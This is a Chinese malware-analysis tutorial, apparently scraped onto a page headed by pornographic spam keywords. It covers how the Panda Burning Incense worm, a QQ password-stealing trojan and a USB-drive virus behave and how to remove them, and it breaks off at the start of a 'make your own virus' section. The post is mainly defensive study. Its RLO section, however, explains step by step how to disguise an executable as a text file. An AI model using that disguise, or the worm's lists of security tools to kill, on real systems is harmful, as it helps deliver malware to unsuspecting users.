日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

病毒木马防御与分析实战

發(fā)布時(shí)間:2025/6/17 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 病毒木马防御与分析实战 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

《病毒木馬防御與分析》系列以真實(shí)的病毒木馬(或惡意程序)為研究對(duì)象,通過現(xiàn)有的技術(shù)手段對(duì)其分析,總結(jié)出它的惡意行為,進(jìn)而制定出相應(yīng)的應(yīng)對(duì)方法,對(duì)其徹底查殺。當(dāng)然,因?yàn)槲覀€(gè)人水平的有限,查殺分析的病毒可能不是過于高端復(fù)雜,但對(duì)你認(rèn)識(shí)病毒工作原理還是會(huì)很有幫助的,甚至最后你也可以利用c語言實(shí)現(xiàn)一個(gè)簡(jiǎn)單的病毒程序。


實(shí)戰(zhàn)

病毒包和工具包下載: Github

熊貓燒香病毒分析

如果像自己實(shí)踐記得在虛擬機(jī)下!
病毒包可以在Github倉庫找到

摘要

  • 一.手動(dòng)查殺
    • 0.病毒分析
      • 1).中毒癥狀
      • 2).病毒特征
      • 3).發(fā)作癥狀
    • 1. 查內(nèi)存,排查可疑進(jìn)程,將病毒從內(nèi)存中干掉
    • 2. 查啟動(dòng)項(xiàng),刪除病毒啟 動(dòng)項(xiàng)
    • 3. 通過啟動(dòng)項(xiàng)判斷病毒所在位置,并從根本上刪除病毒
    • 4. 修復(fù)系統(tǒng)
  • 二.行為分析

一.手動(dòng)查殺

0. 病毒分析

病毒名稱: 武漢男生,又名熊貓燒香病毒。"Worm.WhBoy.h"

1).中毒癥狀
  • 拷貝自身到所有驅(qū)動(dòng)器根目錄,命名為Setup.exe,并生成一個(gè)autorun.inf使得用戶打開該盤運(yùn)行病毒,并將這兩個(gè)文件屬性設(shè)置為隱藏、只讀、系統(tǒng)。

  • 無法手工修改“文件夾選項(xiàng)”將隱藏文件顯示出來。

  • 在每個(gè)感染后的文件夾中可見Desktop_ini的隱藏文件,內(nèi)容為感染日期 如:2007-4-1

  • 電腦上的所有腳本文件中加入一段代碼:

<iframe src=xxx width=”0” height=”0”></iframe>
  • 中毒后的機(jī)器上常見的反病毒軟件及防火墻無法正常開啟及運(yùn)行。

  • 不能正常使用任務(wù)管理器及注冊(cè)表。

  • 無故的向外發(fā)包,連接局域網(wǎng)中其他機(jī)器。

  • 感染其他應(yīng)用程序的.exe文件,并改變圖標(biāo)顏色,但不會(huì)感染微軟操作系統(tǒng)自身的文件。

  • 刪除GHOST文件(.gho后綴),網(wǎng)吧、學(xué)校和單位機(jī)房深受其害。

  • 禁用常見殺毒工具。

2).病毒特征
  • 關(guān)閉眾多殺毒軟件和安全工具。

  • 循環(huán)遍歷磁盤目錄,感染文件,對(duì)關(guān)鍵系統(tǒng)文件跳過。

  • 感染所有EXE、SCR、PIF、COM文件,并更改圖標(biāo)為燒香熊貓。

  • 感染所有.htm/.html/.asp/.php/.jsp/.aspx文件,添加木馬惡意代碼。

  • 自動(dòng)刪除*.gho文件。

3).發(fā)作癥狀
  • 拷貝文件
  • 病毒運(yùn)行后,會(huì)把自己拷貝到C:\WINDOWS\System32\Drivers\spoclsv.exe

  • 添加注冊(cè)表自啟動(dòng)
  • 病毒會(huì)添加自啟動(dòng)項(xiàng)HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe

  • 病毒行為
    • 每隔1秒尋找桌面窗口,并關(guān)閉窗口標(biāo)題中含有以下字符的程序

    QQKav,QQAV,防火墻,進(jìn)程,VirusScan,網(wǎng)鏢,殺毒,毒霸,瑞星,江民,黃山IE,超級(jí)兔子,優(yōu)化大師,木馬克星,木馬清道夫,QQ病毒,注冊(cè)表編輯器,系統(tǒng)配置實(shí)用程序,卡巴斯基反病毒,Symantec AntiVirus,Duba,esteem proces,綠鷹PC,密碼防盜,噬菌體,木馬輔助查找器,System Safety Monitor,Wrapped gift Killer,Winsock Expert,游戲木馬檢測(cè)大師,msctls_statusbar32,pjf(ustc),IceSword
    并使用的鍵盤映射的方法關(guān)閉安全軟件IceSword

    并中止系統(tǒng)中以下的進(jìn)程:

    Mcshield.exe VsTskMgr.exe naPrdMgr.exe UpdaterUI.exe TBMon.exe scan32.exe Ravmond.exe CCenter.exe RavTask.exe Rav.exe Ravmon.exe RavmonD.exe RavStub.exe KVXP.kxp kvMonXP.kxp KVCenter.kxp KVSrvXP.exe KRegEx.exe UIHost.exe TrojDie.kxp FrogAgent.exe Logo1_.exe Logo_1.exe Rundl132.exe
    • 每隔18秒

    點(diǎn)擊病毒作者指定的網(wǎng)頁,并用命令行檢查系統(tǒng)中是否存在共享,存在的話就運(yùn)行net share命令關(guān)閉admin$共享。

    • 每隔10秒

    下載病毒作者指定的文件,并用命令行檢查系統(tǒng)中是否存在共享共存在的話就運(yùn)行net share命令關(guān)閉admin$共享。

    • 每隔6秒

    刪除安全軟件在注冊(cè)表中的鍵值。

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RavTask KvMonXP kav KAVPersonal50 McAfeeUpdaterUI Network Associates Error Reporting Service ShStartEXE YLive.exe yassistse

    并修改以下值不顯示隱藏文件

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue修改為 0x00

    刪除以下服務(wù)

    navapsvc wscsvc KPfwSvc SNDSrvc ccProxy ccEvtMgr ccSetMgr SPBBCSvc Symantec Core LC NPFMntor MskService FireSvc
    • 感染文件

    病毒會(huì)感染擴(kuò)展名為exe,pif,com,src的文件,把自己附加到文件的頭部并在擴(kuò)展名為htm,html, asp,php,jsp,aspx的文件中添加一網(wǎng)址,用戶一旦打開了該文件,IE就會(huì)不斷的在后臺(tái)點(diǎn)擊寫入的網(wǎng)址,達(dá)到增加點(diǎn)擊量的目的,但病毒不會(huì)感染以下文件夾名中的文件,防止系統(tǒng)崩潰。

    WINDOW Winnt System Volume Information Recycled Windows NT WindowsUpdate Windows Media Player Outlook Express Internet Explorer NetMeeting Common Files ComPlus Applications Messenger InstallShield Installation Information MSN Microsoft Frontpage Movie Maker MSN Gamin Zone

    1. 查內(nèi)存,排查可疑進(jìn)程,將病毒從內(nèi)存中干掉

    在虛擬機(jī)中運(yùn)行熊貓燒香病毒,記得要在xp虛擬機(jī)啊,物理機(jī)現(xiàn)在Windows補(bǔ)丁已經(jīng)免疫熊貓燒香了。

    在虛擬機(jī)中我們打開任務(wù)管理器,發(fā)現(xiàn)剛一打開就會(huì)被關(guān)閉,這是熊貓燒香的特征之一。

    右鍵一個(gè)分區(qū),你會(huì)發(fā)現(xiàn)第一項(xiàng)不是打開,而是Auto,這是因?yàn)樾茇垷悴《緯?huì)在分區(qū)產(chǎn)生一個(gè)autorun.inf文件使得用戶打開該盤運(yùn)行病毒,autorun.inf文件是系統(tǒng),隱藏文件。

    甚至一些病毒會(huì)把Auto起名為打開,右鍵分區(qū)你會(huì)發(fā)現(xiàn)兩個(gè)打卡選項(xiàng)。

    我們第一步就要先關(guān)閉病毒進(jìn)程,排查內(nèi)存時(shí)我們需要使用tasklist命令查看可疑進(jìn)程,spoclsv.exe就是熊貓燒香的進(jìn)程名了(這個(gè)可能需要大量的積累,最好是對(duì)Windows系統(tǒng)進(jìn)程有大量了解)。

    找到后通過taskkill /f /im PID命令將其終止

    有些病毒無論任務(wù)管理器還是taskkill命令都無法將其終止,這類病毒大多是有三個(gè)進(jìn)程相互保護(hù),有一個(gè)被終止后其他進(jìn)程會(huì)立即再次啟動(dòng)這個(gè)進(jìn)程。

    2. 查啟動(dòng)項(xiàng),刪除病毒啟動(dòng)項(xiàng)

    將病毒從內(nèi)存中清除之后,接下來我們要?jiǎng)h除其服務(wù)和啟動(dòng)項(xiàng)。

    在禁用刪除掉啟動(dòng)項(xiàng)之前,我們需要先記住這個(gè)病毒的路徑,以便第三步去刪除它的主體。

    3. 通過啟動(dòng)項(xiàng)判斷病毒所在位置,并從根本上刪除病毒

    下圖就是熊貓燒香病毒本體的位置了,其實(shí)但看啟動(dòng)項(xiàng)中exe路徑就能發(fā)現(xiàn)spoclsv服務(wù)的可疑了,它位于system32\drivers下,也不是一些常見的系統(tǒng)服務(wù)。

    到這個(gè)路徑下刪除這個(gè)exe程序。

    4. 修復(fù)系統(tǒng)

    刪除完exe之后我們重啟系統(tǒng),會(huì)發(fā)現(xiàn)現(xiàn)在系統(tǒng)中沒有spoclsv.exe這個(gè)進(jìn)程了。

    這時(shí)病毒還有可能會(huì)復(fù)發(fā),因?yàn)橄到y(tǒng)還未完成修復(fù),之前說的分區(qū)雙擊默認(rèn)選項(xiàng)可能會(huì)導(dǎo)致病毒程序再次運(yùn)行。

    我們需要將Auto選項(xiàng)刪除,并且清理系統(tǒng)。

    autorun.inf就是關(guān)聯(lián)我們右鍵菜單的文件了。

    我們通過attrib -s -h -a -r autorun.inf來分別將autorun.inf和setup.exe隱藏屬性刪除并且刪除這兩個(gè)文件。

    刪除之后我們雙擊分區(qū)打開會(huì)發(fā)現(xiàn)無法生效。

    注銷系統(tǒng)后,右鍵菜單恢復(fù)。

    二.行為分析

    使用Process Monitor進(jìn)程樹分析病毒運(yùn)行后的操作。

    在病毒程序啟動(dòng)之前,任務(wù)管理器還可以打開。

    設(shè)置Process Monitor進(jìn)程過濾,進(jìn)程名選擇熊貓燒香.exe。

    過濾結(jié)果中可以看到運(yùn)行的setup.exe程序,后面跟隨有進(jìn)程操作,其中操作多為進(jìn)程創(chuàng)建和大量的注冊(cè)表操作。

    打開進(jìn)程樹查看setup.exe進(jìn)程信息。

    在進(jìn)程樹中可以發(fā)現(xiàn),setup.exe衍生出了spoclsv.exe。衍生出的進(jìn)程又打開了兩次cmd.exe。第一次運(yùn)行的命令是cmd.exe /c net share C$ /del /y,它的意思是在命令行模式下刪除C盤的網(wǎng)絡(luò)共享,執(zhí)行完后關(guān)閉cmd.exe。因此這個(gè)病毒應(yīng)該是會(huì)關(guān)閉系統(tǒng)中所有的盤的網(wǎng)絡(luò)共享。第二次運(yùn)行的命令是cmd.exe /c net share admin$ /del /y,這里取消的是系統(tǒng)根目錄的共享。那么由此就可以總結(jié)出病毒的兩點(diǎn)行為:

    • 行為1:病毒本身創(chuàng)建了名為spoclsv.exe的進(jìn)程,該進(jìn)程文件的路徑為C:\WINDOWS\system32\drivers\spoclsv.exe。

    • 行為2:在命令行模式下使用net share命令來取消系統(tǒng)中的共享。

    之后對(duì)setup.exe文件操作監(jiān)控分析,分析操作為CreateFile的Path,

    可見,熊貓燒香.exe在C:\WINDOWS\system32\drivers中創(chuàng)建了spoclsv.exe,其它再無可疑操作,那么可以認(rèn)為,這個(gè)病毒真正的破壞部分是由spoclsv.exe實(shí)現(xiàn)的,那么接下來的工作就是專門監(jiān)控這個(gè)進(jìn)程。

    這里需要將進(jìn)程名為spoclsv.exe的進(jìn)程加入篩選器進(jìn)行分析。spoclsv.exe作為病毒主體所產(chǎn)生的操作會(huì)比較多。

    可見病毒進(jìn)程會(huì)嘗試刪除大量安全類軟件的注冊(cè)表啟動(dòng)項(xiàng)。

    • 行為3:刪除安全類軟件在注冊(cè)表中的啟動(dòng)項(xiàng)。

    然后只保留RegCreateKey與RegSetValue進(jìn)行分析:

    可見,病毒程序?yàn)樽陨韯?chuàng)建了自啟動(dòng)項(xiàng),詳細(xì)信息為Type: REG_SZ, 長(zhǎng)度: 80, 數(shù)據(jù): C:\WINDOWS\system32\drivers\spoclsv.exe,使得每次啟動(dòng)計(jì)算機(jī)就會(huì)執(zhí)行自身,可以查看該路徑啟動(dòng)項(xiàng)來驗(yàn)證,因?yàn)椴《具M(jìn)程會(huì)自動(dòng)關(guān)閉任務(wù)管理器和注冊(cè)表,所以我們需要借助第三方工具autorun來查看。

    • 行為4:在注冊(cè)表HKCU\Software\Microsoft\Windows\CurrentVersion\Run中創(chuàng)建svcshare,用于在開機(jī)時(shí)啟動(dòng)位于C:\WINDOWS\system32\drivers\spoclsv.exe的病毒程序。

    接下來還有:

    對(duì)注冊(cè)表KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue這個(gè)位置設(shè)置為0,能夠?qū)崿F(xiàn)文件的隱藏。此處進(jìn)行設(shè)置后,即便在文件夾選項(xiàng)中選擇顯示所有文件和文件夾,也無法顯示隱藏文件,則有:

    • 行為5:修改注冊(cè)表,使得隱藏文件無法通過普通的設(shè)置進(jìn)行顯示,該位置為:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,病毒將CheckedValue的鍵值設(shè)置為了0。

    接下來對(duì)spoclsv.exe文件監(jiān)控分析,主要看的是病毒是否將自己復(fù)制到其他目錄,或者創(chuàng)建刪除了哪些文件等,監(jiān)控如下所示:

    在圖中可以看到,病毒文件在C:\WINDOWS\system32\drivers中創(chuàng)建了spoclsv.exe這個(gè)文件,在C盤和E盤根目錄下創(chuàng)建了setup.exe與autorun.inf,并且在一些目錄中創(chuàng)建了Desktop_.ini這個(gè)文件。由于創(chuàng)建這些文件之后就對(duì)注冊(cè)表的SHOWALL項(xiàng)進(jìn)行了設(shè)置,使得隱藏文件無法顯示,那么有理由相信,所創(chuàng)建出來的這些文件的屬性都是“隱藏”的,于是有:

    • 行為6:將自身拷貝到根目錄,并命名為setup.exe,同時(shí)創(chuàng)建autorun.inf用于病毒的啟動(dòng),這兩個(gè)文件的屬性都是隱藏。

    • 行為7:在一些目錄中創(chuàng)建名為Desktop_.ini的隱藏文件。

    最后對(duì)spoclsv.exe進(jìn)行網(wǎng)絡(luò)監(jiān)控分析,來查看病毒是否有聯(lián)網(wǎng)動(dòng)作。

    從監(jiān)控結(jié)果可以看到,病毒不斷嘗試連接192.168.1.X即局域網(wǎng)中的其它計(jì)算機(jī)。

    • 行為8:向外發(fā)包,連接局域網(wǎng)中其他機(jī)器。

    TXT病毒分析

    如果像自己實(shí)踐記得在虛擬機(jī)下!
    病毒包可以在Github倉庫找到

    摘要

    • 前言
    • txt病毒引入
    • RLO與字符陷阱

    前言

    現(xiàn)在很多病毒使用了各式各樣的隱藏技術(shù)。病毒編寫者往往會(huì)用復(fù)雜高深的技術(shù)來武裝自己的惡意程序,使其難以被發(fā)現(xiàn)難以被清除。隱藏類的病毒雖然很難發(fā)現(xiàn),但危害清除往往比較簡(jiǎn)單,如前段時(shí)間出現(xiàn)的比特幣敲竹杠病毒,就是一個(gè)基于Ring3層的病毒,其特色就在于采用了一定的算法來加密目標(biāo)計(jì)算機(jī)中的相應(yīng)文件,而如果沒有密碼,那么是不可能實(shí)現(xiàn)解密操作的。

    txt病毒引入

    舉一個(gè)簡(jiǎn)單病毒的例子,U盤病毒中文件夾后面會(huì)出現(xiàn)exe后綴,很明顯就可以發(fā)現(xiàn)出了問題

    這也就說明,盡管它的圖標(biāo)是文件夾的圖標(biāo),但是它本質(zhì)上其實(shí)就是一個(gè)可執(zhí)行程序,利用圖標(biāo)的更換來將自己偽裝成一個(gè)文件夾,這種手段還是比較古老的,也是很容易被發(fā)現(xiàn)的。但是如果是這樣呢?

    先準(zhǔn)備好需要偽裝的病毒和要偽裝成的文件圖標(biāo)(找不到別的圖標(biāo)就只能隨便找一個(gè)用了),還有Resource Hacker工具。

    用Resource Hacker打開病毒setup.exe,可以查看到病毒圖標(biāo)。

    RLO與字符陷阱

    接下來修改圖標(biāo)為我們自己的ico文件。

    保存之后病毒的圖標(biāo)就改變了。

    下一步需要改變他的后綴名,修改為txt或者png。

    這一步的原理是Windows提供了一個(gè)轉(zhuǎn)移字符RLO,只要在一行字符前面加上它,就可以實(shí)現(xiàn)文本的反向排列。它是Unicode為了兼容某些文字的閱讀習(xí)慣而設(shè)計(jì)的一個(gè)轉(zhuǎn)義字符。當(dāng)我們加入這個(gè)字符后,從而也就實(shí)現(xiàn)修改后綴的效果。

    那么利用這個(gè)原理,我們就能夠?qū)崿F(xiàn)非常多有創(chuàng)意的,并且頗具迷惑性的文件名稱,再將文件的圖標(biāo)修改為對(duì)應(yīng)的假的后綴名的圖標(biāo),那么我相信,即便是資深反病毒愛好者,也很可能會(huì)落入陷阱的。

    如何來實(shí)現(xiàn)呢?先將病毒程序名改為下圖所示,之后在read和txt之間添加轉(zhuǎn)義字符RLO。

    插入轉(zhuǎn)義字符之后可以發(fā)現(xiàn)這就是一個(gè)txt程序了,只不過沒有選好圖標(biāo),只要偽裝成一個(gè)txt的圖標(biāo)和后綴,很多人都不會(huì)防范這個(gè)病毒了。

    RLO不止可以用來修改程序后綴名,它還可以用在注冊(cè)表中,你會(huì)發(fā)現(xiàn)注冊(cè)表中有多個(gè)相同項(xiàng),然而注冊(cè)表其實(shí)是不允許出現(xiàn)相同項(xiàng)的。

    通過字符混淆的方法來影響人的直接視覺感觀,可以讓人在使用計(jì)算機(jī)過程中出現(xiàn)很大的問題。

    對(duì)于之前的exe和txt的混淆方法,其實(shí)最好的方法就是在文件夾中顯示文件類型。

    QQ盜號(hào)木馬查殺

    如果像自己實(shí)踐記得在虛擬機(jī)下!
    病毒包可以在Github倉庫找到

    摘要

    • 前言
    • 一.手殺分析

    前言

    在總綱中我們基本介紹了手殺病毒的基本步驟,其中在進(jìn)程中殺死病毒時(shí)我說過有些病毒只有一個(gè)進(jìn)程,可以直接結(jié)束其進(jìn)程,但有些病毒是多進(jìn)程相互守護(hù),關(guān)閉一個(gè)之后其他守護(hù)進(jìn)程會(huì)將其重新啟動(dòng)。這就是病毒的一種自我保護(hù)技術(shù),使得我們不能夠使用常規(guī)手法對(duì)其實(shí)現(xiàn)查殺。我們需要借助兩個(gè)工具——icesword與autoruns,以達(dá)到查殺的目的.

    一.手殺分析

    這是準(zhǔn)備好的病毒樣本,autoruns是一個(gè)注冊(cè)表查看工具,icesword是一個(gè)非常強(qiáng)大的進(jìn)程管理工具,不過icesword的平臺(tái)兼容性很差,win10下我沒有查到可用的,只有在xp虛擬機(jī)中使用過。

    在運(yùn)行病毒之前,先查看任務(wù)管理器中當(dāng)前的進(jìn)程。

    在運(yùn)行QQ盜號(hào)木馬程序之后,可以發(fā)現(xiàn)進(jìn)程數(shù)從25變?yōu)榱?8。

    多出來的3個(gè)進(jìn)程為severe.exe、conime.exe與tfidma.exe。

    conime.exe進(jìn)程是一個(gè)重要的系統(tǒng)進(jìn)程,它不會(huì)隨系統(tǒng)的啟動(dòng)而自動(dòng)啟動(dòng),只會(huì)在啟動(dòng)命令行(cmd)才會(huì)啟動(dòng),但如果刪除或者終止將導(dǎo)致特殊文字的輸入困難,另外微軟新版系統(tǒng)中此進(jìn)程不會(huì)運(yùn)行,而這里病毒則是偽造了這個(gè)進(jìn)程。

    嘗試?yán)萌蝿?wù)管理器將這三個(gè)進(jìn)程其中之一結(jié)束時(shí),會(huì)發(fā)現(xiàn)被終止的進(jìn)程重新被啟動(dòng)了。

    現(xiàn)在我們需要使用icesword.exe工具來講三個(gè)互相守護(hù)的病毒進(jìn)程終止。在雙擊啟動(dòng)icesword.exe時(shí)會(huì)發(fā)現(xiàn)這個(gè)工具并無法啟動(dòng),可以理解為是病毒將這個(gè)工具屏蔽了,我們只需要給他改一個(gè)名字,icesword.exe的中文名冰刃.exe,之后雙擊啟動(dòng)。

    在里面可用看到這三個(gè)進(jìn)程。

    點(diǎn)擊文件,選擇創(chuàng)建進(jìn)程規(guī)則,添加規(guī)則,之后將三個(gè)進(jìn)程添加進(jìn)去。

    再次終止進(jìn)程之后發(fā)現(xiàn)病毒進(jìn)程無法再次恢復(fù)。

    接下來我們需要?jiǎng)h除病毒的啟動(dòng)項(xiàng),這里我們打開autoruns這個(gè)工具。

    打開autoruns之后,初始界面Everything選項(xiàng)卡下面,很容易就發(fā)現(xiàn)了兩個(gè)可疑啟動(dòng)項(xiàng),因?yàn)樗鼈冏鳛榭蓤?zhí)行程序,使用了記事本圖標(biāo),而且名稱和路徑與之前病毒進(jìn)程相似。那么就有必要在這里刪除這三個(gè)啟動(dòng)項(xiàng)了。選中欲刪除的啟動(dòng)項(xiàng),然后按下Delete鍵即可。接下來看一下非常重要的Image Hijacks標(biāo)簽。

    可見映像劫持中大量軟件進(jìn)程都被映射為了病毒進(jìn)程,比如我們熟悉的360safe,注冊(cè)表,服務(wù)配置,QQ醫(yī)生還有icesword.exe。在這里將這些注冊(cè)表數(shù)據(jù)刪除。

    還有一些其他安全項(xiàng),可用自行查看,病毒主體程序我們可用從注冊(cè)表啟動(dòng)項(xiàng)中看到,去相應(yīng)位置刪除即可。

    U盤病毒分析

    目錄

    • 一.前言
    • 二.手殺病毒

    一.前言

    前段時(shí)間去學(xué)校打印店印資料,如同往常一樣,插上我的U盤。奇怪的是這次的連接時(shí)間較以往長(zhǎng),并且還出現(xiàn)了自動(dòng)播放窗口。 以前使用U盤,都沒有出現(xiàn)過自動(dòng)播放的情況。不過沒有我在意,關(guān)閉了那個(gè)窗口,從我的電腦打開了U盤分區(qū)。但是在U盤中卻發(fā)現(xiàn)了奇怪的文件:

    這幾個(gè)文件很奇怪,因?yàn)樗鼈兌际鞘褂昧宋募A的圖標(biāo),貌似是一個(gè)文件夾,但是在文件名稱的后面卻跟著一個(gè).exe的小尾巴。而且,我的U盤中本來確實(shí)有這四個(gè)文件夾,但是我不記得給他們加上了.exe這樣的后綴名。而不帶后綴名的真實(shí)的文件夾卻找不到了(圖片中顯示是因?yàn)橐呀?jīng)被我處理了)。這就讓我很是懷疑,于是分別查看這幾個(gè)文件的屬性。

    可見這些文件并不是文件夾,而是應(yīng)用程序,并且它們的大小一致。看到這里,就可以基本確定了,我的U盤是中了病毒了。

    二.手殺病毒

    初步分析,這個(gè)病毒會(huì)將自身偽裝成我的U盤中本來存在的文件夾,從而誘惑我去點(diǎn)擊。那么原始的文件夾是被刪除了還是被隱藏了呢?

    選擇顯示隱藏文件之后,那些文件依然沒有顯示出來,這里可用一個(gè)cmd下的命令來顯示,因?yàn)槲募碾[藏其實(shí)是基于文件的四個(gè)屬性值。

    隱藏文件(添加四個(gè)屬性):

    attrib +s +h +a +r 文件名

    顯示文件(刪除四個(gè)屬性):

    attrib -s -h -a -r 文件名

    通過attrib命令操作隱藏的文件無法通過常規(guī)的顯示文件來顯示,這也是病毒隱藏文件的一個(gè)常用途徑。

    顯示出我們?cè)镜奈募缶涂蓪xe程序刪除了。

    U盤病毒其實(shí)危害性并沒有多強(qiáng),但其傳播速度與對(duì)普通人的影響卻是很大。

    要編寫代碼進(jìn)行快速刪除也簡(jiǎn)單,只需要循環(huán)遍歷U盤目錄,將其中子文件進(jìn)行顯示即可。代碼如下:

    for /f "delims=?" %%a in ('dir /a /b') do attrib -a -s -h -r "%%a"

    只需要將這一行批處理代碼保存為cmd后綴名文件,放置U盤跟目錄,雙擊運(yùn)行即可。

    病毒自制實(shí)戰(zhàn)

    自制病毒——控制桌面背景鼠標(biāo)以及開關(guān)機(jī)

    理論知識(shí)

    修改桌面背景方法

    在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo

    該函數(shù)也可以在設(shè)置參數(shù)中更新用戶配置文件,這個(gè)函數(shù)還有很多其它功能,比如獲取桌面工作區(qū)的大小。

    BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni);

    uiAction:該參數(shù)指定要查詢或設(shè)置的系統(tǒng)級(jí)參數(shù)。其取值如下;

    SPI_GETACCESSTIMEOUT:檢索與可訪問特性相關(guān)聯(lián)的超時(shí)段的信息,PvParam參數(shù)必須指向某個(gè)ACCESSTIMEOUT結(jié)構(gòu)以獲得信息,并將該結(jié)構(gòu)中的cbSjze成員和ulParam參數(shù)的值設(shè)為sizeof(ACCESSTIMEOUT)。SPI_GETACTIVEWINDOWTRACKING:用于Windows 98和Windows NT 5.0及以后的版本。它表示是否打開活動(dòng)窗口跟蹤(激活該窗口時(shí)鼠標(biāo)置為開狀態(tài)),pvParam參數(shù)必須指向一個(gè)BOOL型變量(打開時(shí)接收值為TRUE,關(guān)閉時(shí)為FALSE)。SPI_GETACTIVEWNDTRKZORDER;用于Windows 98和Windows NT 5.0及以后版本。它表示通過活動(dòng)窗口跟蹤開關(guān)激活的窗口是否要置于最頂層。pvParam參數(shù)必須指向一個(gè)BOOL型變量,如果要置于頂層,那么該變量的值為TRUE,否則為FALSE。SPI_GETACTIVEWNDTRKTIMEOUT:用于Windows 98和 Windows NT 5.0及以后版本。它指示活動(dòng)窗口跟蹤延遲量,單位為毫秒。pvParam參數(shù)必須指向DWORD類型變量,以接收時(shí)間量。SPI_GETANIMATION:檢索與用戶活動(dòng)有關(guān)的動(dòng)畫效果。pvParam參數(shù)必須指向ANIMATIOINFO結(jié)構(gòu)以接收信息。并將該結(jié)構(gòu)的cbSize成員和ulParam參數(shù)置為sizeof(ANIMATIONINFO)。SPI_GETBEEP:表示警告蜂鳴器是否是打開的。pvParam參數(shù)必須指向一個(gè)BOOL類型變量,如果蜂鳴器處于打開狀態(tài),那么該變量的值為TRUE,否則為FALSE。SpI_GETBORDER:檢索決定窗口邊界放大寬度的邊界放大因子。pvParam參數(shù)必須指向一個(gè)整型變量以接收該值。SPI_GETDEFAULTINPUTLANG:返回用于系統(tǒng)缺省輸入語言的鍵盤布局句柄。pvParam參數(shù)必須指向一個(gè)32位變量,以接收該值。SPI_GETCOMBOBOXANIMATION:用于Windows 98和Windows NT 5.0及以后版本。它表示用于組合柜的動(dòng)打開效果是否允許。pvParam參數(shù)必須指向一個(gè)BOOL變量,如果允許,那么變量返回值為TRUE,否則為FALSE。SPI_GETDRAGFULLWINDOWS:確定是否允許拖拉到最大窗口。pvParam參數(shù)必須指向BOOL變量,如果允許,返回值為TRUE,否則為FALSE。對(duì)于Windows 95系統(tǒng),該標(biāo)志只有在安裝了Windows plus!才支持。SPI_GETFASTTASKSWITCH:該標(biāo)志已不用!以前版本的系統(tǒng)使用該標(biāo)志來確定是否允許Alt+Tab快速任務(wù)切換。對(duì)于Windows 95、Windows 98和Windows NT 4.0版而言,快速任務(wù)切換通常是允許的。SPI_GETLDWPOWERACTIVE:確定是否允許屏幕保護(hù)的低電壓狀態(tài)。如果允許,那么指向BOOL變量的pvParam參數(shù)會(huì)接收到TRUE值,否則為FALSE。對(duì)于Windows 98,該標(biāo)志對(duì)16位和32位應(yīng)用程序都支持。 對(duì)于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對(duì)于Windows NT,在Windows NT 5.0及以后版本中支持32位應(yīng)用程序,對(duì)16位應(yīng)用程序則不支持。SPI_GETLOWPOWERTIMEOUT:檢索用于屏幕保護(hù)的低電壓狀態(tài)超時(shí)值。pvParam參數(shù)必須指向一個(gè)整型變量,以接收該值。對(duì)于Windows 98該標(biāo)志支持16位和32位應(yīng)用程序。對(duì)于Windows95,該標(biāo)志只支持16位應(yīng)用程序。對(duì)于Windows NT,該標(biāo)志支持Windows NT 5.0及以后版本上的32位應(yīng)用程序。不支持16位應(yīng)用程序。SPI_GETMENUDROPALIGNMENT。確定彈出式菜單相對(duì)于相應(yīng)的菜單條項(xiàng)是左對(duì)齊,還是右對(duì)齊、參數(shù)pvParam必須指向一個(gè)BOOL類型變量,如果是左對(duì)齊。那么該變量值為TRUE,否則為FALSE。SPI_GETMINIMIZEDMETRICS:檢索最小化窗口有關(guān)的度量數(shù)據(jù)信息。參數(shù)pvParam必須指向MINIMIZEDMETRCS結(jié)構(gòu),以接收信息。該結(jié)構(gòu)中的cbSize和ulParam參數(shù)的值應(yīng)設(shè)為sizeof(MINIMIZEDMETRICS)。SPI_GETMOUSE:檢索鼠標(biāo)的2個(gè)閾值和加速特性。pvParam參數(shù)必須指向一個(gè)長(zhǎng)度為3的整型數(shù)組,分別存儲(chǔ)此值。SPI_GETMOUSEHOVERHEGHT:用于Windows NT 4.0及以后版本或Windows 98。獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留的矩形框的高度,以像素為單位。參數(shù)pvParam必須指向一個(gè)UINT變量以接收這個(gè)高度值。SPI_GETMOUSEHOVERTIME:用于Windows NT 4.0及以后版本、Windows 98,獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留在矩形框內(nèi)的時(shí)間,單位為毫秒。參數(shù)pvParam必須指向一個(gè)UINT變量以接收該時(shí)間值。SPI_GETMOUSEHOVERWIDTH:用于Windows NT 4.0及以后版本、Windows 98。獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留的矩形框的寬度,以像素為單位。參數(shù)pvParam必須指向一個(gè)UINT變量以接收這個(gè)寬度值。SPI_GETMOUSEKEYS:檢索與MOUSEKEYS易用特征有關(guān)的信息,pvParam參數(shù)必須指向某個(gè)MOUSEKEYS結(jié)構(gòu),以獲取信息。應(yīng)將結(jié)構(gòu)的cbSize成員和ulParam參數(shù)設(shè)置為sizeof(MOUSEKEYS)。SPI_GETMOUSESPEED:用于Windows NT 5.0及以后版本、Windows 